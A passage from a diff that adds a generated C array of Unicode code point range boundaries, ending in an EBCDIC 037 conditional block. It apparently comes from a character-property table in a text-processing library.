+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x5F4,
+	0x5F5,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x620,
+	0x64B,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66C,
+	0x66D,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6DD,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x859,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD5F,
+	0xD62,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1715,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1740,
+	0x1752,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BF4,
+	0x1C00,
+	0x1C24,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D00,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2000,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3000,
+	0x3001,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA717,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA90A,
+	0xA926,
+	0xA92E,
+	0xA930,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xAA00,
+	0xAA29,
+	0xAA37,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAE0,
+	0xAAEB,
+	0xAAF0,
+	0xAAF2,
+	0xAAF5,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB50,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE14,
+	0xFE15,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE54,
+	0xFE55,
+	0xFE56,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF07,
+	0xFF08,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF1C,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFF9,
+	0xFFFC,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DC,
+	0x115DE,
+	0x11600,
+	0x11630,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116AB,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118E0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1B000,
+	0x1B001,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E944,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
